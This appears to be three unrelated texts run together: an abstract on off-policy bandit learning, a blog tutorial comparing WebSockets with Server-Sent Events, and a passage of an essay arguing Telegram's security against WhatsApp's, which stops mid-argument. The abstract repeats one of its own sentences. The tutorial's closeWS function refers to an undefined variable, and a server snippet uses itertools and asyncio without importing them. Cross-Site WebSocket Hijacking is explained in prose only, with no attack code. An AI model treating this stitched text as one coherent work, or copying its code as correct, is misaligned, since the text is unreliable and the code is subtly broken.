In this sequential decision making problem, the learner cannot directly observe its rewards, but instead sees the ones obtained by another unknown policy run in parallel (behavior policy). Instead of a standard exploration-exploitation dilemma, the learner has to face another challenge in this setting: due to limited observations outside of their control, the learner may not be able to estimate the value of each policy equally well. While there is no exploration-exploitation tradeoff that the learner has to face, the learner still has to address the challenge of not being able to estimate the value of each policy equally well. To address this issue, we propose a set of algorithms that guarantee regret bounds that scale with a natural notion of mismatch between any comparator policy and the behavior policy, achieving improved performance against comparators that are well-covered by the observations. We also provide an extension to the setting of adversarial linear contextual bandits, and verify the theoretical guarantees via a set of experiments. Our key algorithmic idea is adapting the notion of pessimistic reward estimators that has been recently popular in the context of off-policy reinforcement learning.

Come to check out our poster at the Complex feedback in online learning workshop this Saturday!

Prologue

Recently I have been curious about the best way to implement a real-time web application. That is, an application containing one ore more components which automatically update, in real-time, reacting to some external event. The most common example of such an application, would be a messaging service, where we want every message to be immediately broadcasted to everyone that is connected, without requiring any user interaction.

After some research I stumbled upon an amazing talk by Martin Chaov, which compares Server Sent Events, WebSockets and Long Polling. The talk, which is also available as a blog post, is entertaining and very informative. I really recommend it. However, it is from 2018 and some small things have changed, so I decided to write this article.

WebSockets?

WebSockets enable the creation of two-way low-latency communication channels between the browser and a server.

This makes them ideal in certain scenarios, like multiplayer games, where the communication is two-way, in the sense that both the browser and server send messages on the channel all the time, and it is required that these messages be delivered with low latency.

In a First-Person Shooter, the browser could be continuously streaming the player’s position, while simoultaneously receiving updates on the location of all the other players from the server. Moreover, we definitely want these messages to be delivered with as little overhead as possible, to avoid the game feeling sluggish.

This is the opposite of the traditional request-response model of HTTP, where the browser is always the one initiating the communication, and each message has a significant overhead, due to establishing TCP connections and HTTP headers.

However, many applications do not have requirements this strict. Even among real-time applications, the data flow is usually asymmetric: the server sends the majority of the messages while the client mostly just listens and only once in a while sends some updates. For example, in a chat application an user may be connected to many rooms each with tens or hundreds of participants. Thus, the volume of messages received far exceeds the one of messages sent.

What is wrong with WebSockets

Two-way channels and low latency are extremely good features. Why bother looking further?

WebSockets have one major drawback: they do not work on top of HTTP, at least not fully. They require their own TCP connection. They use HTTP only to establish the connection, but then upgrade it to a standalone TCP connection on top of which the WebSocket protocol can be used.

This may not seem a big deal, however it means that WebSockets cannot benefit from any HTTP feature. That is:

• No support for compression
• No support for HTTP/2 multiplexing
• Potential issues with proxies
• No protection from Cross-Site Hijacking

At least, this was the situation when the WebSocket protocol was first released. Nowadays, there are some complementary standards that try to improve upon this situation. Let’s take a closer look to the current situation.

Note: If you do not care about the details, feel free to skip the rest of this section and jump directly to Server-Sent Events or the demo.

Compression

On standard connections, HTTP compression is supported by every browser, and is super easy to enable server-side. Just flip a switch in your reverse-proxy of choice. With WebSockets the question is more complex, because there are no requests and responses, but one needs to compress the individual WebSocket frames.

RFC 7692, released on December 2015, tries to improve the situation by definining “Compression Extensions for WebSocket”. However, to the best of my knowledge, no popular reverse-proxy (e.g. nginx, caddy) implements this, making it impossible to have compression enabled transparently.

This means that if you want compression, it has to be implemented directly in your backend. Luckily, I was able to find some libraries supporting RFC 7692. For example, the websockets and wsproto Python libraries, and the ws library for nodejs.

However, the latter suggests not to use the feature:

The extension is disabled by default on the server and enabled by default on the client. It adds a significant overhead in terms of performance and memory consumption so we suggest to enable it only if it is really needed.

Note that Node.js has a variety of issues with high-performance compression, where increased concurrency, especially on Linux, can lead to catastrophic memory fragmentation and slow performance.

On the browsers side, Firefox supports WebSocket compression since version 37. Chrome supports it as well. However, apparently Safari and Edge do not.

I did not take the time to verify what is the situation on the mobile landscape.

Multiplexing

HTTP/2 introduced support for multiplexing, meaning that multiple request/response pairs to the same host no longer require separate TCP connections. Instead, they all share the same TCP connection, each operating on its own independent HTTP/2 stream.

This is, again, supported by every browser and is very easy to transparently enable on most reverse-proxies.

On the contrary, the WebSocket protocol has no support, by default, for multiplexing. Multiple WebSockets to the same host will each open their own separate TCP connection. If you want to have two separate WebSocket endpoints share their underlying connection you must add multiplexing in your application’s code.

RFC 8441, released on September 2018, tries to fix this limitation by adding support for “Bootstrapping WebSockets with HTTP/2”. It has been implemented in Firefox and Chrome. However, as far as I know, no major reverse-proxy implements it. Unfortunately, I could not find any implementation in Python or Javascript either.

Issues with proxies

HTTP proxies without explicit support for WebSockets can prevent unencrypted WebSocket connections to work. This is because the proxy will not be able to parse the WebSocket frames and close the connection.

However, WebSocket connections happening over HTTPS should be unaffected by this problem, since the frames will be encrypted and the proxy should just forward everything without closing the connection.

To learn more, see “How HTML5 Web Sockets Interact With Proxy Servers” by Peter Lubbers.

Cross-Site WebSocket Hijacking

WebSocket connections are not protected by the same-origin policy. This makes them vulnerable to Cross-Site WebSocket Hijacking.

Therefore, WebSocket backends must check the correctness of the Origin header, if they use any kind of client-cached authentication, such as cookies or HTTP authentication.

I will not go into the details here, but consider this short example. Assume a Bitcoin Exchange uses WebSockets to provide its trading service. When you log in, the Exchange might set a cookie to keep your session active for a given period of time. Now, all an attacker has to do to steal your precious Bitcoins is make you visit a site under her control, and simply open a WebSocket connection to the Exchange. The malicious connection is going to be automatically authenticated. That is, unless the Exchange checks the Origin header and blocks the connections coming from unauthorized domains.

I encourage you to check out the great article about Cross-Site WebSocket Hijacking by Christian Schneider, to learn more.

Server-Sent Events

Now that we know a bit more about WebSockets, including their advantages and shortcomings, let us learn about Server-Sent Events and find out if they are a valid alternative.

Server-Sent Events enable the server to send low-latency push events to the client, at any time. They use a very simple protocol that is part of the HTML Standard and supported by every browser.

Unlike WebSockets, Server-sent Events flow only one way: from the server to the client. This makes them unsuitable for a very specific set of applications, that is, those that require a communication channel that is both two-way and low latency, like real-time games. However, this trade-off is also their major advantage over WebSockets, because being one-way, Server-Sent Events work seamlessly on top of HTTP, without requiring a custom protocol. This gives them automatic access to all of HTTP’s features, such as compression or HTTP/2 multiplexing, making them a very convenient choice for the majority of real-time applications, where the bulk of the data is sent from the server, and where a little overhead in requests, due to HTTP headers, is acceptable.

The protocol is very simple. It uses the text/event-stream Content-Type and messages of the form:

data: First message

event: join
data: Second message. It has two
data: lines, a custom event type and an id.
id: 5

: comment. Can be used as keep-alive

data: Third message. I do not have more data.
data: Please retry later.
retry: 10

Each event is separated by two empty lines (\n) and consists of various optional fields.

The data field, which can be repeted to denote multiple lines in the message, is unsurprisingly used for the content of the event.

The event field allows to specify custom event types, which as we will show in the next section, can be used to fire different event handlers on the client.

The other two fields, id and retry, are used to configure the behaviour of the automatic reconnection mechanism. This is one of the most interesting features of Server-Sent Events. It ensures that when the connection is dropped or closed by the server, the client will automatically try to reconnect, without any user intervention.

The retry field is used to specify the minimum amount of time, in seconds, to wait before trying to reconnect. It can also be sent by a server, immediately before closing the client’s connection, to reduce its load when too many clients are connected.

The id field associates an identifier with the current event. When reconnecting the client will transmit to the server the last seen id, using the Last-Event-ID HTTP header. This allows the stream to be resumed from the correct point.

Finally, the server can stop the automatic reconnection mechanism altogether by returning an HTTP 204 No Content response.

Let’s write some code!

Let us now put into practice what we learned. In this section we will implement a simple service both with Server-Sent Events and WebSockets. This should enable us to compare the two technologies. We will find out how easy it is to get started with each one, and verify by hand the features discussed in the previous sections.

We are going to use Python for the backend, Caddy as a reverse-proxy and of course a couple of lines of JavaScript for the frontend.

To make our example as simple as possible, our backend is just going to consist of two endpoints, each streaming a unique sequence of random numbers. They are going to be reachable from /sse1 and /sse2 for Server-Sent Events, and from /ws1 and /ws2 for WebSockets. While our frontend is going to consist of a single index.html file, with some JavaScript which will let us start and stop WebSockets and Server-Sent Events connections.

The code of this example is available on GitHub.

The Reverse-Proxy

Using a reverse-proxy, such as Caddy or nginx, is very useful, even in a small example such as this one. It gives us very easy access to many features that our backend of choice may lack.

More specifically, it allows us to easily serve static files and automatically compress HTTP responses; to provide support for HTTP/2, letting us benefit from multiplexing, even if our backend only supports HTTP/1; and finally to do load balancing.

I chose Caddy because it automatically manages for us HTTPS certificates, letting us skip a very boring task, especially for a quick experiment.

The basic configuration, which resides in a Caddyfile at the root of our project, looks something like this:

localhost

bind 127.0.0.1 ::1

root ./static
file_server browse

encode zstd gzip

This instructs Caddy to listen on the local interface on ports 80 and 443, enabling support for HTTPS and generating a self-signed certificate. It also enables compression and serving static files from the static directory.

As the last step we need to ask Caddy to proxy our backend services. Server-Sent Events is just regular HTTP, so nothing special here:

reverse_proxy /sse1 127.0.1.1:6001
reverse_proxy /sse2 127.0.1.1:6002

To proxy WebSockets our reverse-proxy needs to have explicit support for it. Luckily, Caddy can handle this without problems, even though the configuration is slighly more verbose:

@websockets {
    header Connection *Upgrade*
    header Upgrade    websocket
}

handle /ws1 {
    reverse_proxy @websockets 127.0.1.1:6001
}

handle /ws2 {
    reverse_proxy @websockets 127.0.1.1:6002
}

Finally you should start Caddy with

$ sudo caddy start

The Frontend

Let us start with the frontend, by comparing the JavaScript APIs of WebSockets and Server-Sent Events.

The WebSocket JavaScript API is very simple to use. First, we need to create a new WebSocket object passing the URL of the server. Here wss indicates that the connection is to happen over HTTPS. As mentioned above it is really recommended to use HTTPS to avoid issues with proxies.

Then, we should listen to some of the possible events (i.e. open, message, close, error), by either setting the on$event property or by using addEventListener().

const ws = new WebSocket("wss://localhost/ws");

ws.onopen = e => console.log("WebSocket open");

ws.addEventListener(
  "message", e => console.log(e.data));

The JavaScript API for Server-Sent Events is very similar. It requires us to create a new EventSource object passing the URL of the server, and then allows us to subscribe to the events in the same way as before.

The main difference is that we can also subscribe to custom events.

const es = new EventSource("https://localhost/sse");

es.onopen = e => console.log("EventSource open");

es.addEventListener(
  "message", e => console.log(e.data));

// Event listener for custom event
es.addEventListener(
  "join", e => console.log(`${e.data} joined`))

We can now use all this freshly aquired knowledge about JS APIs to build our actual frontend.

To keep things as simple as possible, it is going to consist of only one index.html file, with a bunch of buttons that will let us start and stop our WebSockets and EventSources. Like so

<button onclick="startWS(1)">Start WS1</button>
<button onclick="closeWS(1)">Close WS1</button>
<br>
<button onclick="startWS(2)">Start WS2</button>
<button onclick="closeWS(2)">Close WS2</button>

We want more than one WebSocket/EventSource so we can test if HTTP/2 multiplexing works and how many connections are open.

Now let us implement the two functions needed by those buttons to work:

const wss = [];

function startWS(i) {
  if (wss[i] !== undefined) return;

  const ws = wss[i] = new WebSocket("wss://localhost/ws"+i);
  ws.onopen = e => console.log("WS open");
  ws.onmessage = e => console.log(e.data);
  ws.onclose = e => closeWS(i);
}

function closeWS(i) {
  if (wss[i] !== undefined) {
    console.log("Closing websocket");
    websockets[i].close();
    delete websockets[i];
  }
}

The frontend code for Server-Sent Events is almost identical. The only difference is the onerror event handler, which is there because in case of error a message is logged and the browser will attempt to reconnect.

const ess = [];

function startES(i) {
  if (ess[i] !== undefined) return;

  const es = ess[i] = new EventSource("https://localhost/sse"+i);
  es.onopen = e => console.log("ES open");
  es.onerror = e => console.log("ES error", e);
  es.onmessage = e => console.log(e.data);
}

function closeES(i) {
  if (ess[i] !== undefined) {
    console.log("Closing EventSource");
    ess[i].close()
    delete ess[i]
  }
}

The Backend

To write our backend, we are going to use Starlette, a simple async web framework for Python, and Uvicorn as the server. Moreover, to make things modular, we are going to separate the data-generating process, from the implementation of the endpoints.

We want each of the two endpoints to generate an unique random sequence of numbers. To accomplish this we will use the stream id (i.e. 1 or 2) as part of the random seed.

Ideally, we would also like our streams to be resumable. That is, a client should be able to resume the stream from the last message it received, in case the connection is dropped, instead or re-reading the whole sequence. To make this possible we will assign an ID to each message/event, and use it to initialize the random seed, together with the stream id, before each message is generated. In our case, the ID is just going to be a counter starting from 0.

With all that said, we are ready to write the get_data function which is responsible to generate our random numbers:

import random

def get_data(stream_id: int, event_id: int) -> int:
    rnd = random.Random()
    rnd.seed(stream_id * event_id)
    return rnd.randrange(1000)

Let’s now write the actual endpoints.

Getting started with Starlette is very simple. We just need to initialize an app and then register some routes:

from starlette.applications import Starlette

app = Starlette()

To write a WebSocket service both our web server and framework of choice must have explicit support. Luckily Uvicorn and Starlette are up to the task, and writing a WebSocket endpoint is as convenient as writing a normal route.

This all the code that we need:

from websockets.exceptions import WebSocketException

@app.websocket_route("/ws{id:int}")
async def websocket_endpoint(ws):
    id = ws.path_params["id"]
    try:
        await ws.accept()

        for i in itertools.count():
            data = {"id": i, "msg": get_data(id, i)}
            await ws.send_json(data)
            await asyncio.sleep(1)
    except WebSocketException:
        print("client disconnected")

The code above will make sure our websocket_endpoint function is called every time a browser requests a path starting with /ws and followed by a number (e.g. /ws1, /ws2).

Then, for every matching request, it will wait for a WebSocket connection to be established and subsequently start an infinite loop sending random numbers, encoded as a JSON payload, every second.

For Server-Sent Events the code is very similar, except that no special framework support is needed. In this case, we register a route matching URLs starting with /sse and ending with a number (e.g. /sse1, /sse2). However, this time our endpoint just sets the appropriate headers and returns a StreamingResponse:

from starlette.responses import StreamingResponse

@app.route("/sse{id:int}")
async def sse_endpoint(req):
    return StreamingResponse(
        sse_generator(req),
        headers={
            "Content-type": "text/event-stream",
            "Cache-Control": "no-cache",
            "Connection": "keep-alive",
        },
    )

StreamingResponse is an utility class, provided by Starlette, which takes a generator and streams its output to the client, keeping the connection open.

The code of sse_generator is shown below, and is almost identical to the WebSocket endpoint, except that messages are encoded according to the Server-Sent Events protocol:

async def sse_generator(req):
    id = req.path_params["id"]
    for i in itertools.count():
        data = get_data(id, i)
        data = b"id: %d\ndata: %d\n\n" % (i, data)
        yield data
        await asyncio.sleep(1)

We are done!

Finally, assuming we put all our code in a file named server.py, we can start our backend endpoints using Uvicorn, like so:

$ uvicorn --host 127.0.1.1 --port 6001 server:app &
$ uvicorn --host 127.0.1.1 --port 6002 server:app &

Bonus: Cool SSE features

Ok, let us now conclude by showing how easy it is to implement all those nice features we bragged about earlier.

Compression can be enabled by changing just a few lines in our endpoint:

@@ -32,10 +33,12 @@ async def websocket_endpoint(ws):
 
 async def sse_generator(req):
     id = req.path_params["id"]
+    stream = zlib.compressobj()
     for i in itertools.count():
         data = get_data(id, i)
         data = b"id: %d\ndata: %d\n\n" % (i, data)
-        yield data
+        yield stream.compress(data)
+        yield stream.flush(zlib.Z_SYNC_FLUSH)
         await asyncio.sleep(1)
 
 
@@ -47,5 +50,6 @@ async def sse_endpoint(req):
             "Content-type": "text/event-stream",
             "Cache-Control": "no-cache",
             "Connection": "keep-alive",
+            "Content-Encoding": "deflate",
         },
     )

We can then verify that everything is working as expected by checking the DevTools:

Multiplexing is enabled by default since Caddy supports HTTP/2. We can confirm that the same connection is being used for all our SSE requests using the DevTools again:

Automatic reconnection on unexpected connection errors is as simple as reading the Last-Event-ID header in our backend code:

<     for i in itertools.count():
---
>     start = int(req.headers.get("last-event-id", 0))
>     for i in itertools.count(start):

Nothing has to be changed in the front-end code.

We can test that it is working by starting the connection to one of the SSE endpoints and then killing uvicorn. The connection will drop, but the browser will automatically try to reconnect. Thus, if we re-start the server, we will see the stream resume from where it left off!

Notice how the stream resumes from the message 243. Feels like magic 🔥

Conclusion

WebSockets are a big machinery built on top of HTTP and TCP to provide a set of extremely specific features, that is two-way and low latency communication.

In order to do that they introduce a number of complications, which end up making both client and server implementations more complicated than solutions based entirely on HTTP.

These complications and limitations have been addressed by new specs (RFC 7692, RFC 8441), and will slowly end up implemented in client and server libraries.

However, even in a world where WebSockets have no technical downsides, they will still be a fairly complex technology, involving a large amount of additional code both on clients and servers. Therefore, you should carefully consider if the addeded complexity is worth it, or if you can solve your problem with a much simpler solution, such as Server-Sent Events.

That’s all, folks! I hope you found this post interesting and maybe learned something new.

Feel free to check out the code of the demo on GitHub, if you want to experiment a bit with Server Sent Events and Websockets.

I also encourage you to read the spec, because it surprisingly clear and contains many examples.

Prologue

Most sources which praise WhatsApp and criticize Telegram make bold claims, presenting them as objective truth, without sufficiently motivating them or backing them up with facts. In many cases they rely on arguments from authority:

[Telegram] By default, it is less safe than @WhatsApp, which makes [it] dangerous for non-experts. — Ed. Snowden (Sep, 2016)

I realize that many of you will be sceptical now. After all, if Edward Snowden said so, it must be true. Why would you question it? And why, above all, should we believe you instead?

Well, the point is exactly this. I am not asking you to believe me, but to evaluate the facts, with an open mind, before forming an opinion. Moreover, even if it might be hard to accept, even heroes and geniuses like Edward Snowden can be wrong from time to time!

I made a good faith attempt to research all the facts and present them as objectively as possible, without including personal biases. However, please keep in mind that I do not consider myself infallible, and thus there might be some mistakes. Feel free to let me know what you think.

The fallacies

The vast majority of things I read on this topic can be reduced to a combination of the following factors:

1. Not considering a threat model.
2. The false premise that end-to-end encryption alone is a necessary and sufficient condition for good security and privacy.
3. The erroneous conclusion that everything that is not end-to-end encrypted is inherently less secure and must be avoided at all cost.
4. The huge respect for Moxie Marlinspike, one of the authors of the end-to-end encryption protocol used by WhatsApp and Signal, leading to arguments from authority.
5. Outright lies about the insecurity of the cryptographic protocol used by Telegram.

The rest of the article is dedicated to amply clarify each of the points above. In section 3 I will articulate the importance of considering threat models when trying to determine if a system is secure. In section 4 I will discuss end-to-end encryption, the challenges that it entails and how it is implemented in WhatsApp and Telegram. In section 5 I will address the most common criticisms of Telegram, and finally, in section 6, I will draw some conclusions.

Threat modeling

Threat modeling answers questions like “Where am I most vulnerable to attack?”, “What are the most relevant threats?”, and “What do I need to do to safeguard against these threats?”. — Wikipedia

Searching on Hacker News for “WhatsApp is more secure” yields some typical comments from people arguing that WhatsApp is more secure than Telegram

Telegram is more fun (bots and stickers), but WhatsApp is more secure (no messages on server, no rolled-your-own-crypto). — hn

Or even that Telegram is the least secure

How can anyone call “Telegram” secure? Those days are over. It’s the least secure messaging app of them all now. Even WhatsApp is more secure than Telegram (let alone Threema). — hn

But, what does it really mean that WhatsApp is more secure? Secure against the government? Secure against your friendly neighbourhood hacker snooping on the Wi-Fi at Starbucks? Secure against throwing rocks at your phone? Secure against your mom trying to read your messages?

Defending from an adversary with practically unlimited budget and computational resources, such as a powerful government, is going to be much harder than defending against a curious neighbour sniffing on your Wi-Fi.

Saying that WhatsApp is more secure than Telegram, without specifying against what kind of adversary or against what kind of threat, does not mean much.

Without considering these questions and only craving for “more security”, is not necessarily a smart thing either. In the same way that putting your possessions in a nuclear bunker might be more secure, in case of a nuclear war, than locking them in a small safe in your room, but could not be the best choice if all you are trying to do is protect your Blu-ray collection from your flatmate! Moreover, increasing security is often not free, because it increases complexity, thus development cost, and can decrease usability. Exactly like a nuclear bunker is going to be much more expensive than a small safe and is also not going to be as easy to use. Lastly, it is important to note that you are as secure as the weakest link in your system. Therefore, if you want a nuclear bunker, with all the challenges and costs that it entails, but then forget to put a lock on its door, it might not protect you that much after all.

Consequently, let us now try to examine which of the components involved in using a messaging app can be potentially attacked by a malicious agent, compromising our security. For each of these, you need to establish if you blindly trust it to function correctly, or if you believe it could be compromised and thus need to find a way to defend it from the potential threat.

• The companies running the servers needed by the app to work. That is, Facebook, Telegram and whatever other third party services they decide to use or share your data with.
  1. Are you OK with them being able to read your messages?
  2. Do you trust them on keeping your data safe? So that it does not get stolen, for example.
  3. Are you OK with them selling your data or meta-data to advertisers?
• The app itself. That is, the WhatsApp or Telegram apps on your phone.
  1. Do you trust that it does exactly what it says and is not malicious? For example that it is always encrypting your messages.
  2. Do you trust its developers to be good citizens and not insert backdoors?
• The communication medium. That is, the Internet.
  1. Do you trust the connection between you and the app’s servers to be secure?
  2. Do you trust your ISP?
• The distribution and update process. For example, the Play Store, App Store or F-Droid. Do you trust Google and Apple to give you the real app, and not a specially crafted one to spy on you?
• The other apps on your phone. Do you trust all the other apps on your phone, or do you think some of them might be malware?
• The OS. That is, Android or iOS. Do you trust your operative system and its developers (e.g. Google, Samsung, Apple)? For example, do you trust that no malicious actor can remotely install or uninstall software on your device?
• The firmware and the hardware. Do you trust your phone is not running malware at the firmware or hardware level, like it was discovered on Samsung phones in 2014?

Whew, that was quite a list!

But, do we really need to care about all of this stuff? Well, not many people do. However, if you want to evaluate which messaging app best suits your needs and you care a bit about security and privacy, then it is essential. This process will enable you to decide for yourself, without basing your decision on some tweet saying that one app is more secure than the other.

Nonetheless, it is important to reiterate that if you are worried that a powerful adversary, like a government, might want to directly target you (as opposed to compromise you as part of a mass surveillance program), you cannot defend only against one attack vector and ignore the others. You can have the most secure messaging app in the world, but if your phone can be hacked with an SMS, there is not much of a difference.

You might wonder why couldn’t we just try to defend ourselves against all possible threats and attacks. It is because, as we said before and as we will show in more detail in the next section, increasing security is not free but comes with the cost of increased complexity and very often decreased usability.

End-to-end encryption

Let us now address the most common reason that induces people to believe that WhatsApp is a better choice: end-to-end encryption.

WhatsApp describes end-to-end encryption (or E2EE for short) in the following way:

End-to-end encryption ensures only you and the person you’re communicating with can read or listen to what is sent, and nobody in between, not even WhatsApp. This is because with end-to-end encryption, your messages are secured with a lock, and only the recipient and you have the special key needed to unlock and read them. All of this happens automatically: no need to turn on any special settings to secure your messages. — WhatsApp FAQ

WhatsApp nowadays has end-to-end encryption enabled by default for all chats, while Telegram has not enabled it by default and does not support it on group chats.

This is undoubtedly a very nice property to have. If implemented correctly it allows us to communicate securely, even in the case in which the server (i.e. WhatsApp or Telegram) cannot be trusted and is considered malicious. However, if we decide to go down this road and not trust any more the companies running our app, we introduce a series of new complications.

However, one could argue that even in the case in which we decide to trust the Service, it is beneficial to have end-to-end encryption. This is a valid point because, while we might trust the Service, for sure we do not trust some potential malicious actors compromising the Service’s infrastructure and getting access to our data. In this scenario our data should still be safe because not even the Service has access to it, and therefore an attacker cannot steal the decryption key nor coerce the Service to disclose it. This is the major strength of E2EE. Nonetheless, it is worth to stress that in this scenario we assumed to trust the Service on having implemented E2EE correctly, even though we cannot verify it ourselves, and if that assumption fails to hold in practice, we lose all our guarantees.

In the rest of the section I will highlight some of the issues that need to be addressed when implementing end-to-end encryption correctly and the corresponding usability trade-offs. At the end it should be clear beyond any reasonable doubt that it is impossible to consider WhatsApp’s end-to-end encryption secure if we do not blindly trust Facebook first.

To see this, remember that we are assuming that the Service (i.e. WhatsApp or Telegram) is not to be trusted with access to our messages. For this reason we decide to use end-to-end encryption. We want to make sure that they really cannot read those messages, we cannot just take their word for it.

Now consider the following scenarios.

Trust in the app

How do we know that the app installed in our phone is really using end-to-end encryption? Of course WhatsApp and Telegram are promising us that they really are good boys. But remember: this time we decided we would not just take their word for it. What if every once in a while the app sent to the Service all our chats unencrypted? How would we know?

This means that we need a way to independently audit the app. A way in which we could increase our confidence that the app is not malicious is if it was audited by a third party, or even better if it was also developed in the open as a free and open-source project, hopefully with the active involvement of the community and using well-tested libraries as its backbone.

An other possible solution is to simply not use the official app, and use instead a third party client that we can trust more.

Unfortunately WhatsApp is proprietary software and its terms of service forbid to reverse engineer it. Moreover, Facebook actively fights against any third party clients. Telegram instead has free and open-source clients and even supports reproducible builds which can increase the confidence that the app you are running is really built from the published code and not just some malware.

Secure backups

As we already discussed previously, enhanced security often leads to usability challenges. Secure handling of backups is a perfect example of this principle.

We decided to use end-to-end encryption because we wanted to make sure that only the intended recipient can read our messages. However, end-to-end encryption only protects our messages in transit. What happens when we receive a message? What if some of our contacts are storing a copy of their messages unencrypted somewhere on the cloud? That is bad: we started from the assumption of not wanting to trust the Service with access to our messages, and now we are forced to trust whatever external backup service (e.g. Google Drive, iCloud) our contacts decide to use!

One of the benefits of having our messages securely stored encrypted with a key that is known only to you and the recipient, is that even if some attacker obtains those encrypted messages, there is no way they can read them. Not even by forcing the Service to disclose the encryption keys, because the Service does not have access to the keys. However, this guarantee is lost if an attacker can steal, or in the case of a government, force the disclosure of, our unencrypted backups from Google Drive or iCloud.

Unfortunately, backups made with WhatsApp are only partially encrypted. Messages are encrypted, while images, videos, documents and audio files are not. You can verify this yourself. Moreover, WhatsApp must have access to the decryption key, because it allows restoring backups without prompting for a password. You can opt out, but since backups are a very important feature most people have them enabled, for the simple reason that if you opt out and then lose your phone, your messages are lost forever.

Telegram, on the other hand, does not allow backups of secret chats (i.e. their name for end-to-end encrypted conversations).

Authentication

End-to-end encryption requires messages to be encrypted with the recipient public key. This ensures that only the corresponding private key possessed by the recipient can decrypt them.

However, how do we obtain the recipient’s public key? And how do we make sure it is the correct one? It is good to know that our messages are protected against potential eavesdroppers, however it is not much use if we are sending them to the wrong person!

The correct way to solve this problem is to verify each other’s public keys using a different secure communication channel. For example, you should meet in person with each and every contact that you care about and scan their qr-code to authenticate them, or maybe more simply through a normal phone call. If you are not doing this, you are simply trusting the Service to provide you the correct public key, completely defeating our initial goal.

An other important detail is that public keys can change, for example when you change your phone, requiring you to repeat the manual authentication process all over again. Any application that implements end-to-end encryption seriously must notify you when one of your contacts’ public key changes, as it means that you are not sure anymore who you are talking to. It could just mean that your contact bought a new phone, or maybe that your contact’s phone has been stolen and somebody is impersonating them! You have no way of knowing without first repeating the manual authentication process.

Unfortunately, WhatsApp does not show any notification on key changes, unless you manually turn on “Show Security Notifications” in the settings, and even then the message that is displayed does not give any hint of the possible security threat. This is in apparent contradiction with their FAQs, which claim there is “no need to turn on any special settings to secure your messages”. Moreover, even with that setting enabled, WhatsApp forces the client to automatically re-send undelivered messages and re-encrypt them with the new key.

Telegram does not handle this perfectly either. Secret chats are tied to an user’s public key. Therefore, if an user changes key, a new secret chat needs to be manually started. The problem is that Telegram does not notify you that the old chat is now useless. If you do not know that the person you are chatting with changed key, you are going to send messages encrypted with the wrong key and nobody is going to receive them. Although this behaviour does not allow to unknowingly send messages to an attacker, unlike WhatsApp, it is a rather severe usability deficiency.

Device synchronization

An other trade-off between security and usability is evident in the case of device synchronization. If the messages are encrypted with a key that is unique for each device, it becomes difficult to let users access their conversations on multiple devices at the same time. How can you decrypt a message on your computer if the required private key is stored on your phone?

The solution that WhatsApp adopted to this problem in their WhatsApp Web client is to require the phone to be connected to the same local network as the WhatsApp Web client. All the traffic is then routed through the phone, which in turn performs the encryption/decryption of messages. Therefore, WhatsApp Web is not a real standalone client as it cannot work without the phone. The drawback is that you cannot use WhatsApp Web, for example, if your phone is discharged. Even worse, your phone becomes a single point of failure, because if lost or stolen you will not be able to access your account until you manage to obtain a new copy of your SIM card. Moreover, being a JavaScript web application, WhatsApp Web requires that, on every use, you trust Facebook not to inject malicious JavaScript. There is no way of using it without trusting Facebook.

Not having end-to-end encryption by default, while requiring trust in the Service, makes life much easier on the usability side for Telegram. There are real, standalone clients available for every platform and device synchronization is seamless. In case you lose your phone, you can still access your account as long as you were logged in on a second device, such as your computer.

Criticism of Telegram

We talked about the challenges introduced by E2EE and how WhatsApp mainly fails to address them properly. Let us now talk about the main issues that people have with Telegram’s security.

No end-to-end encryption by default

A popular criticism of Telegram, and the main reason it is considered less secure than WhatsApp, is that it does not support end-to-end encryption by default.

We already talked, in section 3, about how arguing that something is “more secure” without considering threat models is not very meaningful. We also discussed, in section 4, the non-trivial challenges that arise when implementing end-to-end encryption, and how WhatsApp fails to address them.

However, we could wonder why Telegram didn’t come up with a solution to those challenges that would allow them to enable end-to-end encryption by default without sacrificing any usability.

The answer is that nobody knows how to accomplish this, yet.

There are messaging apps that correctly implement end-to-end encryption, without requiring the user to trust the Service, and also try to address the mentioned usability challenges, such as Signal, Keybase, Element, etc. However, it is not controversial to state that their usability is not yet comparable to that of Telegram (even though they are constantly improving and hopefully will get there soon). For example, Signal lacks, at the moment, standalone desktop clients.

Telegram decided not to make any compromises on usability, requiring users to trust them on keeping their data safe. Advanced users, which need end-to-end encryption and are willing to trade a bit of usability for improved security guarantees, are able to do so by using secret chats. This choice is very often heavily criticized by tech-savvy users, who prioritize security well over everything else, including usability. However, what is right for one does not have to be right for everyone. In fact, the popularity of Telegram shows that many are happy with this choice.

Pavel Durov, one of the founders of Telegram, further defends his choice of not enabling end-to-end encryption by default, by describing their “distributed cross-jurisdictional encrypted cloud storage” infrastructure and claiming that, to this day, they “have disclosed 0 bytes of user data to third parties, including governments”. These are all positive things, however, it is important to remind the reader that there is no way, to my knowledge, of verifying these claims, without trusting Telegram.

They rolled their own crypto

As soon as Telegram was first released they have been immediately criticized for rolling their own crypto and for making some non-standard choices in their protocol design.

[..] they’ve made some extremely unusual protocol choices that they need to publicly justify rather than simply describing in an API doc. [..] — Moxie Marlinspike (Dec, 2013)

Developing a new cryptographic protocol, even more so by someone that is not a cryptographer, is generally considered a bad idea.

Anyone can design a cipher that he himself cannot break. This is why you should uniformly distrust amateur cryptography, and why you should only use published algorithms that have withstood broad cryptanalysis. All cryptographers know this, but non-cryptographers do not. And this is why we repeatedly see bad amateur cryptography in fielded systems. — Bruce Schneier (May 2015)

This is something that makes sense, especially if there is already an established protocol that suits your needs. However, it does not mean there cannot be exceptions to this rule, otherwise we would never have new protocols.

The Telegram team believed they had valid reasons to create their own protocol, as you can read in one of the replies they gave to the critiques above:

Still, there are sometimes valid reasons for not re-using existing solutions. In our case, we needed something that is both secure and competitive in comparison to mass market solutions in terms of speed, working on weak connections and usability. — Telegram (Dec, 2013)

Moreover, Pavel Durov himself, explicitly voiced his scepticism towards “best practices” introduced by the crypto community, which can be interpreted as an other of Telegram’s motivation to implement a new protocol:

[..] I don’t see anything wrong with different teams trying different approaches. [..] What if some of the common “best practices” are intentionally promoted in the crypto-community as the best ones exactly because they contain flaws and backdoors? — Pavel Durov (Dec, 2013)

This may seem a bit extreme, however keep in mind that this was 2013, the year of Snowden’s revelations, which confirmed that this happened before, and it’s not unreasonable to believe that it could happen again.

Finally, Durov also tried to reassure the public about the skills of their team, defending its members from the accusation of being amateurs or a bunch of randoms:

The team behind Telegram, led by Nikolai Durov, consists of six ACM champions, half of them Ph.Ds in math. It took them about two years to roll out the current version of MTProto. Names and degrees may indeed not mean as much in some fields as they do in others, but this protocol is the result of thougtful and prolonged work of professionals.

